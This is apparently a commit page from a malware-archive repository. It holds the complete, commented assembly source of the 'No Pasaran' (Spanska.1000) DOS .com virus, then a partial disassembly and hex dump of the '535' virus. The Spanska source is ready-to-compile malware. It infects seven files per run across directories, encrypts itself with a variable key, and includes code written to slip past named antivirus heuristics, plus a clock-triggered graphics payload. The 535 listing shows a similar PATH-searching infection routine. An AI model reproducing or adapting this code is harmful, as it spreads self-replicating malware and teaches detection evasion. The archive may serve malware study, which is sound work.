re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
@@ -0,0 +1,667 @@
; NO PASARAN virus version 2 by Spanska
; Called Spanska.1000 by AV people
; This is my first virus
;
;***********************************************************************
;
; This virus is dedicated to all spanish and international young
; guys who fighted against fascist army during Spanish Civil War
; (1936-1939). They said "THEY SHALL NOT PASS!"
;
;********************************contact me at el_gato@rocketmail.com***
;
; No flag with TBSCAN
; At the time it was released (january 97), was not detected by
; TBSCAN, FPROT, AVP, DrSolly FINDVIRUS in heuristic mode
; but by DrWeb in heuristic mode (i didn't know this program...)
;
; generation zero size: 3537 bytes
; virus size: 1000 bytes
;
; Compile it with TASM /m2 and TLINK /t
;
; Properties:
; simple .com runtime infector
; not destructive
; encrypted with variable key
; infects 7 files each run
; infects current directory, than upper directories
; when it reaches the root, it starts infecting all "level1" subdirectories
; doe not infect files >60,000 or <100 bytes, nor command.com
; the VGA graphic bomb (a fire effect) explodes when minutes=22
; and seconds<30 (1/120)
code segment
assume ds:code, ss:code, cs:code, es:code
org 100h
;
;---------------fake host code--------------------
;
hote:
call virus ;jump to viral code (avoid J flag)
signature db "lc" ;virus signature
nop ;
nop ;fake host
nop ;
nop ;
mov ah, 4ch ;finished
mov al,0 ;go to
int 21h ;DOS
;**********************************************************************
; START OF VIRAL CODE
;**********************************************************************
virus: ;virus starts here
jmp evite ;avoid next routine
;=== simulation of a stosb ===
;=== when outside decrypt loop ===
;=== do not flag # ===
baise_flag_cryptage: ;===
mov [di], al ;=========>>> NO MORE FLAG "#" !!!!!
inc di ;===
ret ;===
;===================================
;
;---------------get delta offset----------------------------
;
evite:
call $+3 ;modified classic
delta: ;routine to
mov bp, sp ;avoid flag E
mov ax, [bp] ;
add word ptr [bp], decrypte-delta ;thanks Slacker's Theory
sub ax, offset delta ;of Code through Obscurity!
mov bp, ax
ret
;
;----------------------decrypting routine-------------------------
;
decrypte:
mov dl, [bp+offset clef] ;get actual key
mov cx, fin_cryptage - debut_cryptage ;
lea si, [bp+offset debut_cryptage] ;
mov di, si ;
xor_loop: ;decrypt loop
mov al, [si] ;
inc si ;
xor al, dl ;
call baise_flag_cryptage ;call the fake stosb to avoid flag #
loop xor_loop
;
;-----initialization to 0 of both infection and directory counters--------
;
debut_cryptage: ;crypted zone starts here
mov byte ptr [bp+offset compteur], 0 ;infection counter
mov byte ptr [bp+offset phase], 0 ;directory counter
;
;-----------------------remember current repertory-----------------------
;
lea si, [bp+offset repert] ;
xor dl, dl ;
mov ah, 47h ;
int 21h ;
;
;-----------------DTA go to a predefined zone in memory------------------
;
push 1a00h ;push/pop to
pop ax ;avoid flag F
lea dx, [bp+offset dta] ;
int 21h ;
;
;------------------------find first file---------------------------------
;
recherche:
mov cx, 0007h ;
lea dx, [bp+offset file_type] ;
mov ax, 4e00h ;
int 21h ;file found?
jnc sauter_suivant ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper directory
;
;---------------------------find next file--------------------------------
;
fichier_suivant:
lea dx, [bp+offset file_type] ;
mov ax, 4f00h ;
mov cx, 0007h ;
int 21h ;file found?
jnc saut5 ;yes => c=0, let's continue
jmp rep_sup ;no => go to upper direcory
saut5:
;
;---------------verify if extension is really .com---------------------
; (it's made to avoid flag S with tbscan)
; (and to avoid AVP detection 'cause AVP detects all combinations
; like .c?m, .?om..., BUT .c*)
;
sauter_suivant:
mov cx, 13d ;max size of a file name (not really, but
lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere)
compare: ;loop for detecting start of the extension
lodsb ;letter in al
cmp al, "." ;is it a point?
jne compare ;no => test next letter
inc si ;yes => si points on second extension letter
cmp word ptr [si], "MO" ;second and third letters are "OM"?
jne fichier_suivant ;no => find next file
;
;-------------------verify if it's command.com----------------------------
;
cmp word ptr [bp+offset dta+1eh+2], "MM"
je fichier_suivant ;yes => find next file
;
;------------attributes to 0 to infect special files---------------------
;
lea dx, [bp+offset dta+1eh] ;file name pointed with dx
push 4301h ;push/pull to
pop ax ;avoid flag F
xor cx, cx ;
int 21h ;
;
;---------------------------open file------------------------------------
;
mov ax, 3D02h ;
lea dx, [bp+offset dta+1eh] ;
int 21h ;file found?
jnc saut2 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut2: ;
mov [bp+offset handle],ax ;
;
;-----------------read 5 first bytes of the file---------------------
;
xchg ax, bx ;
mov cx, 5 ;
mov ax, 3F00h ;
lea dx, [bp+offset contenu] ;bytes go to "contenu" zone
int 21h ;file found?
jnc saut3 ;yes => c=0, let's continue
jmp remise_en_etat ;no => arrange file and close it
saut3: ;
;
;------------------is the file already infected?-----------------------
;
cmp word ptr [bp+offset contenu+3], "cl" ;compare with signature
jnz saut4 ;not infected => z=0, let's continue
jmp remise_en_etat ;already infected => arrange file and close
saut4: ;
;
;-----------------------is the size correct?---------------------------
;
cmp word ptr [bp+offset dta+1ah], 60000 ;compare size with 60000
jna pas_trop_gros ;is it bigger?
jmp remise_en_etat ;yes => find next file
pas_trop_gros: ;no => other verification
cmp word ptr [bp+offset dta+1ah], 100 ;compare size with 100
jnb verif_ok ;if >100 let's continue
;
;--------arrange file and close it in case of non-infection-------------
;
remise_en_etat:
mov ah, 3Eh ;
int 21h ;close it
;
;------------------restore attributes-----------------------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in the DTA
push 4301h ;push/pop to
pop ax ;avoid flag F
int 21h ;
;
;----------after arranging the file, let's find another one-------------
;
jmp fichier_suivant ;go to find-next routine
;
;-------------------disk file pointer at the end-------------------
;
verif_ok:
mov ax, 4202h ;
xor cx, cx ;
mov dx, cx ;
int 21h ;
;
;----------------------infection routine------------------------------
;
;first, let's write non-encrypted part
;
mov ax, 4000h ;
mov cx, debut_cryptage - virus ;
lea dx, [bp+offset virus] ;
int 21h ;
;
;second, let's crypt next part in memory
;
mov cl, [bp+offset cinq_octets+1] ;cl=new key
mov byte ptr [bp+offset clef_temp], cl ;on a temporary zone
lea si, [bp+offset debut_cryptage] ;si=start of the crypted zone
lea di, [bp+offset zone_de_travail] ;di=temporary mem zone for crypting
xchg cl, dl ;key in dl
mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt
crypte_et_transfere: ;
lodsb ;
xor al, dl ;classic XOR crypting loop
stosb ;
loop crypte_et_transfere ;
;
;third, disk writing of the crypted zone
;
mov ax, 4000h ;
mov cx, fin_cryptage - debut_cryptage ;number of bytes to write
lea dx, [bp+offset zone_de_travail] ;
int 21h ;
;
;------write on disk real 5 first bytes of the file+new crypt key--------
;----from "contenu" zone in memory to "cinq_octets" zone on the disk)----
;
;1) move disk file pointer to good zone
;
xor cx, cx ;
mov dx, word ptr [bp+offset dta+1ah] ;non-infected file size in dx
add dx, cinq_octets - virus ;add offset of good zone
mov ax, 4200h ;
int 21h ;
;
;2) move memory pointer to good zone, and transfer
;
mov cx, 6 ;we will write 6 bytes
lea dx, [bp+offset contenu] ;("contenu" + "clef_temp")
push 4000h ;so 5 first bytes + new key
pop ax ;this push/pop is not necessary
int 21h ;
;
;--overwrite 5 first bytes on the disk by jump to virus code + signature---
;
;1) move disk file pointer to start of the file
;
xor cx,cx ;
mov dx, cx ;
mov ax, 4200h ;
int 21h ;
;
;2) calculate initial jump and write all on a temp zone in memory
;(NB: we use the "contenu" memory zone which is not more util)
;
mov byte ptr [bp+offset contenu], 0e8h ;E8=opcode of CALL
mov ax, word ptr [bp+offset dta+1ah] ;ax=file size
sub ax, 3 ;this is because of the CALL
mov word ptr [bp+offset contenu+1], ax ;write deplacement
mov word ptr [bp+offset contenu+3], "cl" ;write signature
;
;3) overwrite 5 first bytes on the file
;
mov cx,5 ;
lea dx, [bp+offset contenu] ;
mov ax, 4000h ;
int 21h ;
;
;-------------------restore time/date of the file------------------------
;
mov dx, word ptr [bp+offset dta+18h] ;date in dx
mov cx, word ptr [bp+offset dta+16h] ;time in cx
push 5701h ;push/pop
pop ax ;to avoid flag F
int 21h ;
;
;-----------------------------close file---------------------------------
;
mov ah, 3Eh ;
int 21h ;
;
;------------------------restore file attributes-----------------------
;
lea dx, [bp+offset dta+1eh] ;
xor ch, ch ;
mov cl, byte ptr [bp+offset dta+15h] ;attributes are still in DTA
push 4301h ;
pop ax ;
int 21h ;
;
;--------------verify how many files we have infected------------------
;
mov byte ptr cl, [bp+offset compteur] ;infection counter in cl
inc cl ;one more
cmp cl, 7 ;have we infected 7 files?
je attendre ;yes => let's stop
mov byte ptr [bp+offset compteur], cl ;no => write new value of counter
;
;-----------------------let's infect a new file-------------------------
;
jmp fichier_suivant ;infect next file
;
;---------------------climb to upper directory--------------------------
;
rep_sup:
lea dx, [bp+offset dot] ;let's go to ".." repertory
mov ah, 3bh ;
int 21h ;are we in the root?
jc on_redescend ;yes => c=1, let's go down now
jmp recherche ;no => find first file
;
;---if we are in root, let's go to all "first-level" subdirectories-----
;
on_redescend: ;
mov ah, 4eh ;find first file
mov cx, 16 ;with repertory attribute
lea dx, [bp+offset dir_masque] ;called "*.*"...
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)?
je le_premier ;phase=0 => do not find next dir
xor bh, bh ;
mov bl, byte ptr [bp+offset phase] ;bx=phase
rep_suivant: ;loop to avoid all subdir already infected
mov cx, 16 ;rep attributes
mov ah, 4fh ;find next dir
lea dx, [bp+offset dir_masque] ;
int 21h ;
jc attendre ;there are no subdirectory => stop
cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory?
jne rep_suivant ;no => find next
dec bx ;this routine is made to infect
cmp bx, 0 ;directory "number phase"
jne rep_suivant ;if bx<>0, the subdir is already infected
le_premier:
add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected
lea dx, [bp+offset dta+1eh] ;so, let's change
mov ah, 3bh ;directory to it
int 21h ;
jmp recherche ;and infect this new subdirectory
;
;-----in case of problem, or no more directory to infect, we go here------
;
attendre: ;
;
;------------------DTA in the normal zone-----------------------------
; (to avoid perturbing host program)
;
push 1a00h ;push/pop
pop ax ;to avoid flag F
mov dx, 80h ;to 80h, the normal zone
int 21h ;
;
;------restore the directory in which we were when we started-------------
;
;primo, rapid climb until the root
;
remontee_finale:
lea dx, [bp+offset dot] ;
mov ah, 3bh ;
int 21h ;
jnc remontee_finale ;continue until we are in the root
;
;secundo, we go to the directory in which we were at start
;
lea dx, [bp+offset repert] ;we saved the dir in this zone
mov ax, 3B00h ;change dir
int 21h ;
;
;------replace 5 first bytes of the host in memory----------
;
lea si, [bp+offset cinq_octets] ;original 5 bytes were stored here
mov ax, 101h ;classic trick to
dec ax ;avoid flag B
mov di, ax ;100h in DI for transfer
mov cx, 5 ;write 5 bytes
rep movsb ;transfer them
;
;--------------------does the bomb explode?---------------------
;
mov ah, 2Ch ;internal clock: ch=hour et cl=minute
int 21h ;
cmp cl, 22d ;minutes = 22?
jne redonner_la_main ;no => return to host
cmp dh, 30d ;yes => test seconds
jb bombe ;if seconds <30 (1/120) the bomb explodes
;
;-----------------------return to host----------------------------
; (remember the very first CALL: we have 103h on the stack)
;
redonner_la_main:
pop ax ;get 103h
sub ax, 3 ;we want 100h
push ax ;re-put it on stack (for the RET)
xor ax, ax ;a starting program
xor bx, bx ;likes to find all
xor cx, cx ;registers equals
xor dx, dx ;to zero.
ret ;on redonne la main au pauvre programme
nop
nop ;just for fun: with these 3 nops, virus size is just 1000.
nop
;
;**********************************************************************
; CODE OF THE GRAPHIC BOMB: A FIRE EFFECT
;**********************************************************************
bombe:
;--------------------------------VGA-----------------------------------
mov ax, 13h ;
int 10h ;goto graphic mode
;------initialisation of the flame palette (black=>red=>white)----------
mov dx, 3c8h ;dx = palette port
xor al, al ;starting with color 0
out dx, al ;write first color in the port
inc dx ;define all colors
xor cx, cx ;component red start from 0 and augment
rouges: ;let's define colors from 0 to 62
mov al, cl ;first component (red) equal to cl
out dx, al ;write on palette port
xor al, al ;others components (blue, green) to zero
out dx, al ;write blue component
out dx, al ;write green component
inc cx ;increment red component of color
cmp cx, 63 ;do cx reach 63?
jne rouges ;no => continue loop
xor cx, cx ;component blue start from 0 and augment
jaunes: ;let's define colors from 63 to 125
mov al, 63 ;component red equal to 63
out dx, al ;write it
mov al, cl ;second component (blue) equal to cl
out dx, al ;write it
xor al, al ;third component (green) equal to zero
out dx, al ;write it
inc cx ;increment blue component of color
cmp cx, 63 ;do cx reach 63?
jne jaunes ;no => continue loop
xor cx, cx ;component green start from 0 and augment
blancs: ;let's define colors from 126 to 188
mov al, 63 ;components red and blue equal to 63
out dx, al ;write red component
out dx, al ;write blue component
mov al, cl ;third component (green) equal to cl
out dx, al ;write it
inc cx ;increment green component of color
cmp cx, 63 ;do cx reach 63?
jne blancs ;no => continue loop
mov cx, 198 ;we're going to define 198/3=66 next colors
blancfin: ;let's define colors from 189 to 254
mov al, 255 ;all components are maximum
out dx, al ;so these colors are white
loop blancfin ;
xor al, al ;define last color (number 255)
mov cx, 3 ;in black so we do not see the
rep out dx, al ;focus at the bottom of the flame
;------------draw some focus at the bottom at random places--------------
mov ax, 0a000h ;video mem
mov es, ax ;segment in es
boucle:
mov di, (320*199)+5 ;start line 199, 5 pixels from the left side
foyers:
call random ;bring back a random dl between 0 and 255
cmp dl, 180 ;dl>180?
jb noir ;no => no focus, color to black
mov dl, 255 ;yes => a focus, color to white
jmp blanc ;avoid "no focus" routine
noir:
xor dl, dl ;no focus, color to black
blanc:
mov al, dl ;load al with color
mov cx, 5 ;focuses are 5 pixels long
zobi:
stosb ;draw focus pixel
add di, 319 ;and draw another pixel
stosb ;under the first
sub di, 320 ;(more beautiful)
loop zobi
cmp di, (320*199)+30 ;the torch will be 30 pixels wide
jb foyers ;focus line not finished, so loop
;--------real screen--->modification--->virtual screen------------------
mov di, 320*120 ;we use just the 80 bottom lines
lea si, [bp+offset ecran_virtuel] ;memory zone for calculations
mov dx, 80 ;line loop: 80 repetitions
xor ax, ax ;we gonna use ax, so put zero
ecran: ;start of line loop
mov cx, 30 ;column loop: 30 repetitions
modif: ;start of column loop
mov al, es:[di] ;in al, color of current pixel
add al, es:[di+320] ;add pixel color just under it
adc ah, 0 ;result may be >255, so add carry
add al, es:[di+319] ;add pixel color under it to the left
adc ah, 0 ;add carry
add al, es:[di+641] ;add pixel 2 lines under it to the right
adc ah, 0 ;add carry
shr ax, 1 ;calculate the average color of these
shr ax, 1 ;4 pixels, dividing ax by 4
cmp al, 0 ;is this average value black?
je bitnoir ;yes => do not decrement color
dec al ;no => decrement color
bitnoir:
mov ds:[si], al ;write pixel with new color on memory
inc si ;next pixel on memory (virtual screen)
inc di ;next pixel on screen (real screen)
loop modif ;finish the line
add di, (320-30) ;on screen, go to first pixel of next line
dec dx ;dx = line counter, decrement it
cmp dx, 0 ;are we to the bottom of the screen?
jne ecran ;no => let's go to next line
;----------------virtual screen--->real screen-------------------------
mov di, (320*120) ;di points to line 120 on real screen
lea si, [bp+offset ecran_virtuel] ;si points to start of virtual screen
xor dx, dx ;line counter to zero
deux_flammes:
mov cx, 30 ;copy one line to the
rep movsb ;left side of the screen
sub si, 30 ;virtual: rewind to the start of the same line
add di, 230 ;real: draw the second torch at column 230+30+5
mov cx, 30 ;copy the same line to the
rep movsb ;right side of the screen
add di, 30 ;real: start next line (NB: 295+30=320+5)
inc dx ;increment line counter
cmp dx, 79 ;copy 78 lines
jne deux_flammes
;--------------put text cursor at line 5, column 1----------------------
mov dx, 0501h ;dh=line, dl=column
xor bh, bh ;page zero
mov ah,02h ;put cursor to position DH, DL
int 10h ;BIOS screen int
;--------------------write text message on screen-----------------------
mov ah, [bp+offset clignote] ;blink counter in ah
inc ah ;increment it
mov [bp+offset clignote], ah ;put it back to its place
cmp ah, 128 ;compare it to 128 (alternance time 50/50)
ja second_message ;inferior => write second message
lea si, [bp+offset message] ;superior => write first message
jmp premier_message ;and avoid second message
second_message: ;
lea si, [bp+offset message2] ;now write second message
premier_message:
mov cx, 36 ;message lenght
affiche_message:
lodsb ;load letter in al
mov bl, 254 ;and color in bl (white)
mov ah, 0Eh ;
int 10h ;write this letter on screen
loop affiche_message
jmp boucle ;return to step "draw focus"
;-----------random number creation routine (stolen somewhere)--------------
random proc near
mov ax, [bp+offset aleat]
mov dx, 8405h
mul dx
inc ax
mov [bp+offset aleat], ax
ret
random endp
;--------------memory zones of the graphic effect------------------------
message db " Remember those who died for Madrid " ;message 1
message2 db "No Pasaran! Virus v2 by Spanska 1997" ;message 2
clignote db 00 ;blink counter
aleat dw 0AAh ;random seed
;
;-------------------memory zones of the virus----------------------------
;
dir_masque db "*.*",0 ;mask to find subdirectories
file_type db "*.c*",0 ;mask to find file type
dot db "..",0 ;mask to find upper directory
fin_cryptage: ;end of crypting
cinq_octets db 5 dup(90h) ;5 first bytes of host
clef db 0 ;crypt key
;
;--------these temporary memory zones are not written on disk------------
;
phase db 0 ;to find the good subdirectories
compteur db 0 ;infection counter
handle db 0,0 ;file handle
contenu db 0,0,0,0,0 ;to read 5 first bytes of a file
clef_temp db 0 ;crypt key
dta db 48 dup (0AAh) ;DTA zone
repert db 64 dup (0FFh) ;starting directory
ecran_virtuel db 80*30 dup (00) ;virtual screen
zone_de_travail: ;used to crypt virus
code ends
end hote
; ------------------------(c) Spanska 1997------------------------------
File diff suppressed because it is too large Load Diff
+311
View File
@@ -0,0 +1,311 @@
535 virus:
11E3:0100 E90404 JMP 0507
11E3:0103 49 DEC CX
11E3:0104 60 DB 60
11E3:0105 6D DB 6D
11E3:0106 2035 AND [DI],DH
11E3:0108 3335 XOR SI,[DI]
11E3:010A 205649 AND [BP+49],DL
11E3:010D 52 PUSH DX
11E3:010E 55 PUSH BP
11E3:010F 53 PUSH BX
11E3:0110 210D AND [DI],CX
11E3:0112 0A24 OR AH,[SI]
11E3:0114 0000 ADD [BX+SI],AL
11E3:04FA 0000 ADD [BX+SI],AL
11E3:04FC B409 MOV AH,09
11E3:04FE BA0301 MOV DX,0103
11E3:0501 CD21 INT 21
11E3:0503 B400 MOV AH,00
11E3:0505 CD20 INT 20
;Belpsi pont
11E3:0507 51 PUSH CX
11E3:0508 BAEE06 MOV DX,06EE
11E3:050B 90 NOP
11E3:050C 8BF2 MOV SI,DX
11E3:050E BF0001 MOV DI,0100
11E3:0511 B90300 MOV CX,0003
11E3:0514 FC CLD
11E3:0515 F3 REPZ
11E3:0516 A4 MOVSB ;Eredeti 3 byte vissza
11E3:0517 B430 MOV AH,30
11E3:0519 CD21 INT 21 ;DOS. v ltozat lekrdezse
11E3:051B 3C00 CMP AL,00
11E3:051D 7503 JNZ 0522
11E3:051F E9BA01 JMP 06DC
11E3:0522 06 PUSH ES
11E3:0523 B42F MOV AH,2F
11E3:0525 CD21 INT 21 ;DTA. lekrdezse
11E3:0527 8BF2 MOV SI,DX
11E3:0529 899C0300 MOV [SI+0003],BX ;DTA. cim let rol sa
11E3:052D 8C840500 MOV [SI+0005],ES
11E3:0531 07 POP ES
11E3:0532 B41A MOV AH,1A
11E3:0534 BA3000 MOV DX,0030
11E3:0537 90 NOP
11E3:0538 03D6 ADD DX,SI
11E3:053A CD21 INT 21 ;DTA. be llit sa
11E3:053C 06 PUSH ES
11E3:053D 56 PUSH SI
11E3:053E 33FF XOR DI,DI
11E3:0540 8E062C00 MOV ES,[002C] ;K”rnyezet szegmense
11E3:0544 5E POP SI
11E3:0545 56 PUSH SI
11E3:0546 81C61A00 ADD SI,001A
11E3:054A AC LODSB
11E3:054B B90080 MOV CX,8000 ;Max. 32k.byte
11E3:054E F2 REPNZ
11E3:054F AE SCASB
11E3:0550 B90400 MOV CX,0004 ;4 karakteres szo ("PATH")
11E3:0553 AC LODSB ;olvas
11E3:0554 AE SCASB ;hasonlit
11E3:0555 75ED JNZ 0544
11E3:0557 E2FA LOOP 0553
11E3:0559 5E POP SI
11E3:055A 07 POP ES
11E3:055B 89BC1200 MOV [SI+0012],DI
11E3:055F 8BDE MOV BX,SI
11E3:0561 81C61F00 ADD SI,001F
11E3:0565 8BFE MOV DI,SI
11E3:0567 EB3B JMP 05A4
11E3:0569 90 NOP
11E3:056A 83BC120000 CMP WORD PTR [SI+0012],+00 ;Path vge ?
11E3:056F 7503 JNZ 0574
11E3:0571 E95E01 JMP 06D2
11E3:0574 1E PUSH DS
11E3:0575 56 PUSH SI
11E3:0576 26 ES:
11E3:0577 8E1E2C00 MOV DS,[002C] ;K”rnyezet szegmense
11E3:057B 8BFE MOV DI,SI
11E3:057D 26 ES:
11E3:057E 8BB51200 MOV SI,[DI+0012]
11E3:0582 81C71F00 ADD DI,001F
11E3:0586 AC LODSB
11E3:0587 3C3B CMP AL,3B
11E3:0589 740A JZ 0595
11E3:058B 3C00 CMP AL,00
11E3:058D 7403 JZ 0592
11E3:058F AA STOSB
11E3:0590 EBF4 JMP 0586
11E3:0592 BE0000 MOV SI,0000
11E3:0595 5B POP BX
11E3:0596 1F POP DS
11E3:0597 89B71200 MOV [BX+0012],SI
11E3:059B 807DFF5C CMP BYTE PTR [DI-01],5C ;"\" jel ?
11E3:059F 7403 JZ 05A4
11E3:05A1 B05C MOV AL,5C
11E3:05A3 AA STOSB
11E3:05A4 89BF1400 MOV [BX+0014],DI
11E3:05A8 8BF3 MOV SI,BX
11E3:05AA 81C60C00 ADD SI,000C
11E3:05AE B90600 MOV CX,0006
11E3:05B1 F3 REPZ
11E3:05B2 A4 MOVSB
11E3:05B3 8BF3 MOV SI,BX
11E3:05B5 B44E MOV AH,4E
11E3:05B7 BA1F00 MOV DX,001F
11E3:05BA 90 NOP
11E3:05BB 03D6 ADD DX,SI
11E3:05BD B90300 MOV CX,0003
11E3:05C0 CD21 INT 21 ;Els” bejegyzs keresse
11E3:05C2 EB05 JMP 05C9
11E3:05C4 90 NOP
11E3:05C5 B44F MOV AH,4F
11E3:05C7 CD21 INT 21 ;K”vetkez” bejegyzs keresse
11E3:05C9 7302 JNB 05CD
11E3:05CB EB9D JMP 056A
11E3:05CD 8B844600 MOV AX,[SI+0046]
11E3:05D1 241D AND AL,1D
11E3:05D3 3C1D CMP AL,1D
11E3:05D5 74EE JZ 05C5
11E3:05D7 81BC4A0000FA CMP WORD PTR [SI+004A],FA00
11E3:05DD 77E6 JA 05C5
11E3:05DF 83BC4A000A CMP WORD PTR [SI+004A],+0A
11E3:05E4 72DF JB 05C5
11E3:05E6 8BBC1400 MOV DI,[SI+0014]
11E3:05EA 56 PUSH SI
11E3:05EB 81C64E00 ADD SI,004E
11E3:05EF AC LODSB
11E3:05F0 AA STOSB
11E3:05F1 3C00 CMP AL,00
11E3:05F3 75FA JNZ 05EF
11E3:05F5 5E POP SI
11E3:05F6 B80043 MOV AX,4300
11E3:05F9 BA1F00 MOV DX,001F
11E3:05FC 90 NOP
11E3:05FD 03D6 ADD DX,SI
11E3:05FF CD21 INT 21 ;Attrib lekrdezse
11E3:0601 898C0A00 MOV [SI+000A],CX
11E3:0605 B80143 MOV AX,4301
11E3:0608 81E1FEFF AND CX,FFFE
11E3:060C BA1F00 MOV DX,001F
11E3:060F 90 NOP
11E3:0610 03D6 ADD DX,SI
11E3:0612 CD21 INT 21 ;Attrib  t llit sa
11E3:0614 B8023D MOV AX,3D02
11E3:0617 BA1F00 MOV DX,001F
11E3:061A 90 NOP
11E3:061B 03D6 ADD DX,SI
11E3:061D CD21 INT 21 ;File nyit sa
11E3:061F 7303 JNB 0624
11E3:0621 E99F00 JMP 06C3
11E3:0624 8BD8 MOV BX,AX
11E3:0626 B80057 MOV AX,5700
11E3:0629 CD21 INT 21 ;Keletkezsi id” lekrdezse
11E3:062B 898C1800 MOV [SI+0018],CX
11E3:062F 89941600 MOV [SI+0016],DX
11E3:0633 B42C MOV AH,2C
11E3:0635 CD21 INT 21 ;id” lekrdezse
11E3:0637 80E607 AND DH,07
11E3:063A 7510 JNZ 064C
11E3:063C B440 MOV AH,40
11E3:063E B90500 MOV CX,0005
11E3:0641 8BD6 MOV DX,SI
11E3:0643 81C22B00 ADD DX,002B
11E3:0647 CD21 INT 21 ;5 byte ki¡r sa
11E3:0649 EB5F JMP 06AA
11E3:064B 90 NOP
11E3:064C B43F MOV AH,3F
11E3:064E B90300 MOV CX,0003
11E3:0651 8BD6 MOV DX,SI
11E3:0653 CD21 INT 21 ;Els” 3 byte olvas sa
11E3:0655 7253 JB 06AA
11E3:0657 3D0300 CMP AX,0003
11E3:065A 754E JNZ 06AA
11E3:065C B80242 MOV AX,4202
11E3:065F 33C9 XOR CX,CX
11E3:0661 33D2 XOR DX,DX
11E3:0663 CD21 INT 21 ;File mret meghat roz sa
11E3:0665 7243 JB 06AA
11E3:0667 8BC8 MOV CX,AX
11E3:0669 2D0300 SUB AX,0003
11E3:066C 89840800 MOV [SI+0008],AX
11E3:0670 81C1E702 ADD CX,02E7
11E3:0674 8BFE MOV DI,SI
11E3:0676 81EFE501 SUB DI,01E5
11E3:067A 890D MOV [DI],CX
11E3:067C B440 MOV AH,40
11E3:067E B91702 MOV CX,0217
11E3:0681 90 NOP
11E3:0682 8BD6 MOV DX,SI
11E3:0684 81EAE701 SUB DX,01E7
11E3:0688 CD21 INT 21 ;Fert”zs
11E3:068A 721E JB 06AA
11E3:068C 3D1702 CMP AX,0217
11E3:068F 90 NOP
11E3:0690 7518 JNZ 06AA
11E3:0692 B80042 MOV AX,4200
11E3:0695 33C9 XOR CX,CX
11E3:0697 33D2 XOR DX,DX
11E3:0699 CD21 INT 21 ;File elejre  ll
11E3:069B 720D JB 06AA
11E3:069D B440 MOV AH,40
11E3:069F B90300 MOV CX,0003
11E3:06A2 8BD6 MOV DX,SI
11E3:06A4 81C20700 ADD DX,0007
11E3:06A8 CD21 INT 21 ;Uj JMP ki¡r sa
11E3:06AA 8B8C1800 MOV CX,[SI+0018]
11E3:06AE 8B941600 MOV DX,[SI+0016]
11E3:06B2 81E1E0FF AND CX,FFE0
11E3:06B6 81C91D00 OR CX,001D
11E3:06BA B80157 MOV AX,5701
11E3:06BD CD21 INT 21
11E3:06BF B43E MOV AH,3E
11E3:06C1 CD21 INT 21 ;File z r sa
11E3:06C3 B80143 MOV AX,4301
11E3:06C6 8B8C0A00 MOV CX,[SI+000A]
11E3:06CA BA1F00 MOV DX,001F
11E3:06CD 90 NOP
11E3:06CE 03D6 ADD DX,SI
11E3:06D0 CD21 INT 21 ;Eredeti attrib. vissza
11E3:06D2 1E PUSH DS
11E3:06D3 B41A MOV AH,1A
11E3:06D5 C5940300 LDS DX,[SI+0003]
11E3:06D9 CD21 INT 21 ;Eredeti DTA. vissza
11E3:06DB 1F POP DS
11E3:06DC 59 POP CX
11E3:06DD 33C0 XOR AX,AX
11E3:06DF 33DB XOR BX,BX
11E3:06E1 33D2 XOR DX,DX
11E3:06E3 33F6 XOR SI,SI
11E3:06E5 BF0001 MOV DI,0100
11E3:06E8 57 PUSH DI
11E3:06E9 33FF XOR DI,DI
11E3:06EB C2FFFF RET FFFF ;Eredeti prg. futtat sa
11E3:06EE E9F903 JMP 0AEA
11E3:06F1 8000D9 ADD BYTE PTR [BX+SI],D9
11E3:06F4 0DE904 OR AX,04E9
11E3:06F7 0420 ADD AL,20
11E3:06F9 002A ADD [BP+SI],CH
11E3:06FB 2E CS:
11E3:06FC 43 INC BX
11E3:06FD 4F DEC DI
11E3:06FE 4D DEC BP
11E3:06FF 0028 ADD [BX+SI],CH
11E3:0701 007E1B ADD [BP+1B],BH
11E3:0704 56 PUSH SI
11E3:0705 16 PUSH SS
11E3:0706 16 PUSH SS
11E3:0707 3F AAS
11E3:0708 50 PUSH AX
11E3:0709 41 INC CX
11E3:070A 54 PUSH SP
11E3:070B 48 DEC AX
11E3:070C 3D352E CMP AX,2E35
11E3:070F 43 INC BX
11E3:0710 4F DEC DI
11E3:0711 4D DEC BP
11E3:0712 005C44 ADD [SI+44],BL
11E3:0715 49 DEC CX
11E3:0716 53 PUSH BX
11E3:0717 4B DEC BX
11E3:0718 43 INC BX
11E3:0719 4F DEC DI
11E3:071A 50 PUSH AX
11E3:071B 59 POP CX
11E3:071C 2E CS:
11E3:071D 43 INC BX
11E3:071E 0DFF76 OR AX,76FF
-d 0100 071f
11E3:0100 E9 04 04 49 60 6D 20 35-33 35 20 56 49 52 55 53 ...I`m 535 VIRUS
11E3:0110 21 0D 0A 24 00 00 00 00-00 00 00 00 00 00 00 00 !..$............
11E3:04F0 00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03 ................
11E3:0500 01 CD 21 B4 00 CD 20 51-BA EE 06 90 8B F2 BF 00 ..!... Q........
11E3:0510 01 B9 03 00 FC F3 A4 B4-30 CD 21 3C 00 75 03 E9 ........0.!<.u..
11E3:0520 BA 01 06 B4 2F CD 21 8B-F2 89 9C 03 00 8C 84 05 ..../.!.........
11E3:0530 00 07 B4 1A BA 30 00 90-03 D6 CD 21 06 56 33 FF .....0.....!.V3.
11E3:0540 8E 06 2C 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE ..,.^V..........
11E3:0550 B9 04 00 AC AE 75 ED E2-FA 5E 07 89 BC 12 00 8B .....u...^......
11E3:0560 DE 81 C6 1F 00 8B FE EB-3B 90 83 BC 12 00 00 75 ........;......u
11E3:0570 03 E9 5E 01 1E 56 26 8E-1E 2C 00 8B FE 26 8B B5 ..^..V&..,...&..
11E3:0580 12 00 81 C7 1F 00 AC 3C-3B 74 0A 3C 00 74 03 AA .......<;t.<.t..
11E3:0590 EB F4 BE 00 00 5B 1F 89-B7 12 00 80 7D FF 5C 74 .....[......}.\t
